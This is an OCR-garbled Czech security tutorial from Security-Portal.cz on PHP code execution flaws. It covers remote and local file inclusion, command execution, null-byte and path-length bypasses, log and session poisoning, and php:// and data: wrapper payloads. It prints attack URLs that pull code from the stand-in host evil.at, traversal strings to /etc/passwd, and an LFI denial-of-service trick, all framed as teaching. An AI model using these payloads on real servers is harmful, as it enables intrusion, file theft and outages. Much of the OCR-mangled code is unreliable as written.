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PHP Code Execution

Vlozil/a RubberDuck [1], 11 Prosinec, 2012 - 02:01

e Hacking method [2]
e Security [3]

Tento ¢lanek si klade za cil popsat obecnou skupinu chyb umoznujici v kone¢ném ddsledku vykonat
PHP kdd na nachylném serveru. Dilezité je uvédomit si, ze tato chyba se nevztahuje pouze na
programovaci jazyk PHP, ale postihuje prakticky kazdy jazyk pouzity pro vytvoreni webovych
stranek. Clanek popisuje chyby typu Local File Inclusion (LFl), Remote File Inclusion (RFI), Local File
Disclosure (LFD), Log Poisoning, Command Execution, Denial of Service (DoS), Session Poisoning,
wrappery a dalsi.

Chyby typu PHP Code Execution (dale jen CE) jsou zndmé pomérné dlouho. Dokonce i na
Cesko-slovenském internetu se objevilo nespocet ¢lankl popisujicich obecné tuto skupinu chyb.
Zadny vdak nemél snahu popsat potencial t&chto chyb obsahlejsi formou, coZ povazuji za velkou
Skodu a pokusim se ji sém napravit. Jen malokdo totiz skute¢né vi, jak zdvazna tato chyba skutecné
je.

Jak uz ndzev napovida, chyby CE umoznuji Gto¢niklm na serveru spustit libovolny PHP kéd s pravy,
pod kterymi bézi webovy server, coz mize vyustit ve spusténi libovolného systémového
prikazu/aplikace. Obecné mizeme tuto skupinu rozdélit na chyby vykonavané vzdalené - remote -
(kdd je dopravovan nachylnému skriptu z jiného serveru/umisténi) a lokalni - local - (kéd je
dopravovan nachylnému skriptu prfimo bez nutnosti pouzit jiny server jako startovaci rampu nebo je
kéd ulozen na stejné doméné/serveru jako samotny nachylny skript). Kazdou z téchto skupin dale
mdlzeme rozdélit na chyby typu spusténi kédu (code execution) nebo vyzrazeni obsahu
souboru/adresare (file/directory disclosure).

// Remote file disclosure

Jako prvni si vezmeme skupinu chyb oznacovanou jako Remote File Injection (RFI). Pfi této chybé
se zneuziva nejcastéji vlastnosti PHP funkci include, include_once, require a require_once. Tyto
funkce naji za ukol vzit obsah souboru, ktery jim byl pfedan v argumentu a vlozit ho misto sebe
sama do kédu. Takze bézné se setkdme s nachylnym kédem ve tvaru:

<?php
($_GET[" page’ ] ) ;

?>-
Nam pak staci v URL adrese k danému skriptu zadat cestu k souboru s PHP kédem, a protoze se
jednd o RFI, provedeme to pomoci vzdalené URL adresy:

http://victimat/script. php?page=http://evil.at/phpcode.txt

pricemz v souboru phpcode.txt bude néco takového:

<?php

phpi nfo();
?>
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Pokud se podari vzdalené spustit obsah naseho skriptu, objevi se na strance vypis nastaveni PHP.
Interpret jazyka PHP uvidi v kédu po nahrazeni funkce include() obsahem souboru néco takového:

<?php
("http://evil.at/phpcode.txt");

?>

To vyusti v nahrazeni funkce include obsahem souboru phpcode.txt

Nékdo by se mozna ptal, pro¢ jsem pouzil textovy soubor a ne PHP soubor. Odpovéd je jednoduché:
PHP je jazyk vykonavany na strané serveru. Pokud bych pouzil prfiponu PHP, PHP kéd by se zpracoval
jiz na serveru evil.at a skript na victim.at by pfebiral pouze HTML data. Pokud by i tak mél nékdo
chut pouzit priponu PHP, cesta je jednoducha: Bud kéd vypsat pomoci PHP, takze se zobrazi
nezpracovany PHP kdéd, nebo nastavit na serveru evil.at pravidlo, Ze se PHP soubory nemaji
zpracovavat. Tim padem se z PHP skriptu stane obycejny textovy skript. To ale neni jedina prekdzka.
Na serveru mlze byt zakdzano inkludovani vzdalenych soubord. To uz je vétsi problém a budeme ho
fesit pozdéji.

// Local file inclusion

Dobre, zakladni popis RFI bychom tedy méli. Jak to je v pripadé LFI? Prakticky stejné. Jen nam
vyvojari hodili do cesty maly klacik, spise trisku. Zneuzivané funkce zlstavaji, jen se trochu zméni
kéd:

<?php
("./".$_CGET['page']);

?>

Tim, ze se v kdédu objevily znaky reprezentujici aktualni adresar, uzavrela se ndm moznost nacitat
vzdélené soubory. To ndm ale nebrani nacitat lokaIni soubory. Na Linuxu je velmi oblibenym
souborem /etc/passwd, takze si ho zkusme vypsat:

http://victimat/script.php?page=/etc/passwd
| kdyz jsme provedli vdechno tak, jak ma byt, neuvidime témér na 100% zadny vysledek. Pro¢?
Vzpomeneme si na znaky reprezentujici aktudini adresar? Vyse popsany priklad se v kédu promitne

nasledovné:

<?php
(".//letcl/passwd");

?>
Interpretu nevadi ani tak zdvojena lomitka (vlastné mu nevadi vibec). Spis jde o to, Ze skript.php je
asi sotva ulozen pfimo v kofenovém adreséfri serveru. Spise bude nékde v adresari /var/wwwy/.. nebo

podobné, takze interpret jazyka si cely kéd upravi nasledovné:

<?php
("/var/ww/ et c/ passwd") ;
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a troufam si fict, ze zarucené v adresafri /var/www soubor /etc/passwd nenajdete :) Takze zména.
Pouzijeme znaky pro tzv. kanonizaci relativni cesty, neboli prechod do nadrazenych adresarl, coz
jsou znaky ../. Nas pozadavek na server se zmeéni nésledovné:

http://victimat/script. php?page=../../etc/passwd

Ted bychom méli jako vysledek vidét obsah souboru /etc/passwd. | zde ale mUze dojit k problému.
Server nemusi mit prava pro primy pristup k tomuto souboru nebo obéti nemusi byt linuxovy server.
Pokud se pokusite timto zplsobem otevrit soubor, ktery se vykonavéa na strané serveru, uvidite
pouze zpracovany obsah, nikoliv samotny kéd. | s timto problémem se ale dokdzeme vyporadat, jak
bude vidét dale. Nyni by mél byt jasné patrny rozdil mezi LFl a RFI. Ale zajdéme jesté trochu dal.
Kdyz se na oba nachylné kédy podivame, vSimneme si, ze kéd nachylny na RFl je zaroven nachylny
na LFI (obracené to neplati).

/| Remote Command Execution

Kategorie chyb typu command execution byvd mnohem c¢astéjsi a vyznamnéjsi v pripadé CGI skriptd,
dopad vsak byva obecné stejny a zavisi pouze a jen na nastaveni serveru. Tyto chyby jsou spojeny s
funkcemi umoznujicimi volat systémové prikazy. V PHP budiz priklady funkce system, passthru, exec,
popen, pcntl_exec a dalsi. Nachylny kéd mlze vypadat nasledovné:

<?php
system($ GET['cnd'], $retval);
$retval ;

?>
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[4]
Komplikovany pfiklad remote code execution

KdyZz se pokusime zavolat URL adresu

http://victimat/script.php?cnd=ls -al

Z VYO

Jako vysledek bychom mohli vidét seznam vSech soubor( a podadresard v tomto adresari. Nutno
podotknout, Ze setkat se s touto chybou je opravdovéa vzacnost (i kdyz v posledni dobé se jich v
nékolika CMS systémech par 'potloukd' a jsou hojné zneuzivany).

e S S o e 3 e S s

Linux mail < o= com 3.2.0-24-virtual #39-Ubunts SMP Mon May 21 18:44:18 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

[5]
Remote Code Execution v CGl skriptu

// Local file/directory disclosure

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn
Strana 4z 11


https://www.security-portal.cz/sites/default/files/code_execution1.jpg
https://www.security-portal.cz/sites/default/files/code_execution2.jpg

PHP Code Execution
Publikovano na serveru Security-Portal.cz (https://www.security-portal.cz)

Posledni kategorii chyb je file/directory disclosure. Nachylny kéd v pripadé této chyby umoznuje
zobrazit obsah souboru nebo obsah adresare. Pro oba pripady uvedu jednoduchou ukazku. Nejprve
file disclosure, jenz zneuziva funkci pro manipulaci se soubory, napriklad file_get_contents, readfile,
read a dalsi:

<?php
file_get_contents($_CGET['file']);

?>

Otevreme si adresu:

http://victimat/script.php?file=./script.php

A bum! Vidime kéd skriptu script.php v jeho pIné krase. Velmi krasnou ukazkou tohoto typu chyby
jsou nezabezpelené downloady, kdy je mozné stahovat si libovolné soubory. Situace je hodné
podobna LFI/RFI. Zasadni rozdil spociva v tom, Ze se kéd nikdy nevykonad, ale pouze zobrazi v
nezpracované formé&, ¢imz dojde k jeho odtajnéni (disclosure). U adresard je situace podobna.
Zneuzivany jsou funkce slouzici k manipulaci se soubory, jako napriklad opendir:

<?php
($d = opendir($_CGET['dir']1)){
(($file = readdir($d))!== false){
$file. "\n";
}
cl osedir ($d);

}

?>

Navstévou adresy

http://victimat/script.php?dir=.

si vypiSeme obsah aktudlniho adresare. Pomoci kanonizace vsak mizeme prochézet napfri¢ celym
serverem a jedinou prekazkou v cesté ndm jsou prava a omezeni jak ze strany serveru samotného
(napf. Apache), tak uctu, pod kterym bézi (velmi ¢asto www-data).

// Tisic a jeden bypass restrikci

V jednoduchosti jsme si popsali zédkladni rozdéleni kategorii chyb a jejich obecné zneuziti. Ale svét
neni tak jednoduchy. Administratofri i developeri se snazi své ovecky ochranit, jak jen se da. Proto si
popiseme nékterd omezeni a zplsoby, jak je obejit. VSechny nize popsané techniky jsou
aplikovatelné témér na vSechny kategorie chyb. Pro popis zvolim RFI. Klasicky problém, se kterym se
jisté kazdy utoc¢nik setkd, je existence nasledujiciho kédu:

<?php
($_GET[ ' page'].". php");

?>

Jednoduse receno, jako hodnota parametru page se predavéa pouze nazev skriptu bez pripony. Ten je
pridan na strané skriptu script.php. Pokud bychom ted pouzili plvodni request:
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http://victimat/script. php?page=http://evil.at/phpcode.txt

ve skriptu by se promitl nasledovné:

<?php
("http://evil.at/phpcode.txt.php");

?>

Takovy skript na serveru evil.at neexistuje. A i kdyz se budeme snazit sebevic béznym zplsobem
neuspéejeme. Ale existuji dvé cesty. Jedna se jmenuje null byte poisoning a druhd vyuziva
vlastnosti HTTP protokolu.

// Null Byte

Co to vlbec je? Jednd se o znak/kdd, ktery ukoncuje textovy retézec. Jinymi slovy se jedné o string
terminator. Cokoliv je psdno za timto znakem je zahozeno bez naroku na obnoveni. Proto, pokud
zménime nas request tak, ze na Uplny konec priddme null byte, narusime tim retézec ve funkci
include. Prakticky:

http://victimat/script. php?page=http://evil.at/phpcode.txt %0

se projevi v kddu néasledovné:

<?php
("http://evil.at/phpcode.txt% 0. php");

?>

coz interpret jazyka PHP uvidi jako:

<?php
("http://evil.at/phpcode.txt");

?>

At Voila! Vidime opét nastaveni serveru :)

// Specidlni znaky

Druha technika vyuziva toho, jak PHP interpret handluje specialni znaky ? a = v ramci URL adresy.
Otaznik v URL adrese ukazuje, na kterém misté zacinaji argumenty pro dany skript a znak = funguje
jako prirazovaci operator, kde na levé strané figuruje jméno argumentu a na pravé strané jeho
hodnota. Zretézenim téchto znakl a jejich pridanim na konec stringu dojde k situaci, kdy bude
pripona souboru povazovana za dalsi hodnotu argumentu a tudiz zahozena. URL adresa bude
vypadat nésledovné:

http://victimat/script. php?page=http://evil.at/phpcode.txt?=
Nékdo mize mit pocit, Ze jsme se Uspésné zbavili problému. Ale co kdyz bude server null byte

zahazovat? | zde existuje rfeseni. To je postavené na skutecnosti, ze kazdy server dokaze zpracovat
jen urcitou délku URL adresy. Tyto hodnoty se liSi nejen pro metody POST (fadové MB) a GET (fadové
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tisice znaku), ale rovnéz i pro pouzité servery. Dokonce mlze byt zasadni rozdil i mezi jednotlivymi
verzemi. A aby toho nebylo malo, daji se tyto hodnoty nastavit na velikost pozadovanou
administratorem. Pokud pomineme vySe zminéné problémy, dostavame se k jadru véci. Existuji
znaky, jenz mohou byt pripojeny na konec URL adresy v takové mife, Ze server jednoduse zbytek
stringu zahodi (v nasem pripadé string ".php"), ale zaroven nenarusi plvodni adresu dotazu. Tyto
znaky funguiji jako vyhledavaci wildchars a jsou vazany na cilovy operacni systém. Na Linuxu, Unixu
a Windows bude bezpecné fungovat znak / (%2F). Pro systém Windows dale Ize pouzit znaky mezera
(%20), teCka (%2E), < (%3C), > (%3E) a par dalsich. Tyto znaky je rovnéz mozné kombinovat.
Vysledny request tak vypada nasledovné:

http://victimat/script.php?page=http://evil.at/phpcode.txt///////]...]

nebo

http://victimat/script.php?page=http://evil.at/phpcode.txt./././././1[...]
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[6]
GET length bypass

A tak podobné. Velmi Casto se vyvojari snazi zamezit RFI tak, ze jednoduse detekuji, zda se na
zaclatku retézce nenachdazi substring http://. To uz v dnesni dobé nezastavi témér nikoho. Kde
neprojde protokol http://, tam projde protokol https://. A pokud neprojde https://, projde treba ftp://
nebo dalsi protokol. V pripadé LFI a kanonizace se vyvojari oblas pokousi odstranovat pravé
kanonizaci, tedy ../, ze stringu. Ale to neni jednoduse zadn& ochrana. Pokud totiz misto ../ pouzijeme
..%2F nebo ....//, opét jsme na koni my (v druhém pripadé je sice odstranén substring ../, ale tim se
vytvori novy string ../ a to potfebujeme :) ).

// Log poisoning
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Abych se nezabyval jen hromadou bypassUl, ukdzeme si nyni nékolik technik, jak Ize ze zdanlivé
banalni chyby vydolovat maximum. Uz vime, zZe LFI dokdze zpracovat lokalni PHP skripty a predhodit
nam vysledek. Jak ale dostaneme nas PHP kéd na server? Jednou z moznosti je tzv. log poisoning,
neboli, doslova, otraveni log souboru. V praxi to vypada tak, ze donutime Apache zalogovat pfistup
do logovacich soubord error.log nebo access.log takovym zplsobem, Ze mu preddame URL adresu na
neexistujici stranku s nazvem <?php phpinfo();?>. Soubor nasledné nacteme pomoci LFIl. Pokud by
se nepodarilo skript vykonat, mize byt problém s prekédovani PHP kédu. V tom pripadé ndm
nezbyva nic jiného, nez se pokusit obalamutit Apache upravenym requestem, kde pouzijeme
autoriza¢ni hlavicku. Ta je tvorena Udaji zakédovanymi v BASE64. Jeji tvar je nick:pass. V nasem
pripadé bude vypadat <?php phpinfo();?>:hacked. Cela hlavi¢ka bude vypadat nasledovné:

Aut hori zation: Basic
PDOwaHAgc GhwaWbnby gpOz 8+OrhhY2t | ZA==

Vyuziti BASE64 nam zajisti, ze nedojde k prekédovani PHP kddu. Pokud se vSe zdafri, uvidime tabulku
vygenerovanou funkci phpinfo(). Problémem ale mUze byt tyto soubory lokalizovat v systému.
Existuji seznamy defaultnich lokaci, ty vSak maji spiSe jen orientacni charakter. Néco malo mUzou
napovédét konfiguraéni soubory nebo vystup pravé zminéné funkce phpinfo(). Pokud ani pak
logovaci skripty nelokalizujete, nesmutnéte. Stejnym zplisobem Ize zneuzit kazdou sluzbu, jenz néjak
loguje svou Cinnost: ssh, ftp, mail a dalsi. Vzdy je to jen o ndpadu.

// Pritel /proc/self

Dalsi dvé techniky daji LFI jesSté vétSi moznosti. Prvni zneuziva skript /proc/self/environ, druha file
descriptory. V pripadé skriptu /proc/self/environ je véc jasnda. Tento skript zobrazuje informace
spojené s prostredim béziciho procesu, v nasem pripadé serveru. V tomto vypisu se mohou objevit
polozky, které jsme schopni upravit. B&zné se to tyka user agenta, http cookie nebo referreru. Pokud
do takové polozky vliozime PHP kéd, vykona se. Timto zplisobem mUzeme se serverem pracovat, aniz
bychom na server ulozili jediny soubor.
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[7]
ZneuZiti /proc/self/environ

V pripadé file descriptorl je situace obdobna. File descriptory popisuji zplsob pristupu k souborlim a
ukladaji se do souborl (symlinkl) ve tvaru: /proc/self/fd/¢islo_deskriptoru. Pricemz file descriptorl by
melo byt 10. Postupnym prochazenim jednotlivych Cisel od 1 pravdépodobné najdeme jeden, kde se
nam zobrazi obsah access.log. V ném uz bychom méli nasledné vidét vystup funkce phpinfo().
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Description

Output

[wwwidocs/ip-subnetier comindex php on Ene 126 [Thu Dec 06 114551 2012 [eror] [client 66,240 74 164] 2]
FHF Motice: Undefined index: HTTFP_REFERER in fswwwidocs/ip-subnetter comfindex php on ling 638 [Thu
Cec 06 11:48:42 2012] [emor] [client 46 227 11.237) File does not exist. /sweidocs/ossbenchmarks com
fviewsource phpsdl, referer

System Lirms Ip-87-74-75-164.Ip.securesanmrngt 26 18-0286ta0104.1 21 SMP Sun Jun 24
19:50048 W30 2012 685

| Buikd Dats May B 2008 083532
Configure “seanfigure’ mmw =host=i3gb-redh

“mandirslusrshansman’ JMMNW ‘=cache-fle=. config.cache’ =with-
IIIH‘.I"IIIH' —I'FII-ﬂ:ITI'D-IIM —ﬂ‘l-m-ﬂli-imﬂrlmnd' “—dsae-debug
—wiin-Dz2 —with-cur’ —with-gmec-gir=usniin’

with-freelype-dir=iust ‘~with-prg-dirsuss —enable-gd-nafve-tf —wihoul-gdam’ ~with- -
petieal —walh-gmp’ “—with-icony' “—with-jpag-ar=iusr —with-opens 5T "—with-prg "—~wih-
n p=pell’ —with-gapat-dir=iusr —wilh-pore-regas=msr —with-fdib' —with-layout=GHL Llﬂ

Can you do better?

Users can submit faster fesl cases
[Yaur Mame

File 1o Lipload: Prochazat. |

Dres criplion

[8]
Vyuziti /proc/self/fd v kombinaci s log injection na souboru access.log

Stale ale nejsme na konci. Prisel ¢as na wrappery a filtry.

// Wrappery

PHP ma v sobé implementované pseudo-protokoly jako php://, zlib://, bzip2://, zip://. Tyto je mozné
predavat i jako argument. V pripadé php:// se jedna doslova o zlaty ddl. Poskytuje totiz celou fadu
streamd. Prvni zminim filtr php://filter/convert.base64-encode/resource=nazev_souboru.xxx
Umoznuje zadany soubor zobrazit ve formé BASE64. Tu si Utocnik zkopiruje, lokalné dekdéduje a ma
pred sebou obsah daného souboru. Pfiklad vypada nésledovné:

http://victimat/script. php?page=php://filter/convert.base64-encode/resource=script.p
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Nyni bychom meéli vidét obsah souboru script.php ve formé BASE64 a jednoduchym skriptem v PHP a
funkci base64_decode() si dekédujeme plvodni obsah souboru. Dalsi v radé je filtr
php://fd/Cislo_deskriptoru, coz je obdoba /proc/self/fd/ a resi se stejné. Rovnéz mlizeme vyuzit filtr
php://input, jenz pfijiméa data pres POST. JednoduSe poSleme pozadavek POST na nachylny skript a
predame mu filtr. V ¢asti pro POST data vloZzime nas PHP kéd. Filtr php://input zafidi jeho zpracovani
a zaclenéni do stranky. Priklad vypadda nasledovné:

POST /script. php?page=php://input HTTP/ 1.1
Host <a href="http://ww.victimat<br />

" title="www victimat<br />

">www. victimat<br />

</a>... Dal §i hlavi?ky. ..

<?php phpi nfo(); ?>
Vysledkem by mél byt opét vystup funkce phpinfo.

// Pseudoprotokol/wrapper data

Kromé vyse zminéného wrapperu php mézeme vyborné vyuzit i pseudoprotokol data. Ten se chova
velmi podobné jako wrapper php, jen ma trochu jinou syntax. Vysledkem tedy bude obdobné chovani
a obdobné vysledky. Wrappery je obecné velmi vyhodné pouzivat tam, kde je zakdzano nacitani
vzdalenych skriptd, protoze témér stoprocentné bude alespon jeden wrapper povolen, a tedy
zneuzitelny. Wrapper data ma nasledujici syntaxi: data:typ_prendsenych_dat;typ_enkddovani,kéd.
Mazeme tedy vyuzit vicero realizaci. Napriklad nasledujici:

http://victimat/script. php?page=dat a:, <?php phpi nfo(); ?>

coz je nejjednodussi priklad vyuziti, kdy je kéd vlozen ve formé Cistého textu a bez enkdédovani.

vvvvvv

http://victimat/script. php?page=dat a: appl i cati on/ xht t pdphp; base64, PD9waHAgc GhwaWsnby
gpOz8+

Jak je vidét vysSe, PHP kdd je konvertovan do base64. PHP interpret si kdd prevede na Cisty text a
vykond ho.

// Denial of Service (DoS) s vyuzitim LFI

Utoky typu odepfeni sluzby zplisobi vy&erpani vsech prostfedkd systému a tim i jeho zpomaleni,
pripadné Uplnou celkovou nedostupnost. | skriptovaci jazyk, jakym PHP bezesporu je, mlze umoznit
utocnikovi takovy pfepich jakym DoS utok je. Kéd nachylné stranky vypada napfriklad jako pfi
obecném LFI. Misto toho, abychom nacitali néjaky, pro nas dilezity, soubor, na¢teme jednoduse ten
stejny soubor, ktery je na LFI ndchylny. To zpQsobi rekurzivni nacitani skriptu dokud nedojde k
Uplnému vycerpani paméti serveru. Pokud tento pokus provedeme v nékolika oknech prohlizece
zéroven, celkova rychlost DoS utoku bude o to vétsi. Jednoduchy priklad:

http://victimat/script.php?page=scri pt. php

A v ¢em tkvi zaludnost celého Gtoku? Pri trose planovani Ize timto zplsobem paralyzovat velky
CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn

Strana 10z 11



PHP Code Execution
Publikovano na serveru Security-Portal.cz (https://www.security-portal.cz)

server i z mobilniho telefonu na pomalém pripojenti.

// Sessions

Aby PHP nemuselo vSechny "citlivé" Udaje uchovdévat v databazi, obsahuje mechanismus tzv.
sessions. Sessions, nebo-li sezeni, jsou prfimou reakci na cookies (susenky), implementovanych v
prohlizecich a ur¢enych k uchovavani nékterych dat tak, aby se nemusely vzdy slozité ziskavat.
Sessions jsou soubory na strané serveru, v nichz je mozné uchovavat libovolné hodnoty. Na strané
uzivatele je sezeni reprezentovano jako cookie s hodnotou PHPSESSID, coz je jedinecny identifikator
v rdmci serveru. Po dobu platnosti sezeni je tento soubor ulozen na disku a server k nému ma plny
pristup. A zde se dostdvame k jadru problému. Pokud je uzivatel schopny ziskat hodnotu PHPSESSID,
je schopen si ovérit, jaké hodnoty jsou uloZzeny v daném sezeni, a které m{ze ovliviiovat. Bézné se
mUze jednat napr. o jméno nebo cas posledni navstévy. Pokud uzivatel tuto hodnotu zaméni za PHP
kéd a nasledné nacte soubor sezeni pres LFl, dojde k vykonani kédu. Pokud by nékoho zajimalo, jak
je mozné dohledat soubory sessions, mlze vyuzit vystup z funkce phpinfo, nebo spoléhat, Zze se
nachazi v nej¢astéjsi cesté /tmp. Jednoduchym pfipadem budiz:

http://victimat/script.php?page=../../../..[..1..1../1../tnp/sess_12345. ..

1 Zaver

V ¢lanku jsme popsali techniky zneuziti chyb typu Code Execution spole¢né s moznymi prekazkami,
na které je mozné narazit béhem exploitace, a navrhli jsme jejich obejiti. Vysledkem je relativné
obséahly (nikoliv vSak konecny) seznam moznosti zneuziti. V tento okamzik vim o dalSich dvou
moznostech. Ty ale popisi az v pribéhu ¢asu, protoze jsem nebyl schopen si je rFadné otestovat v
praxi.
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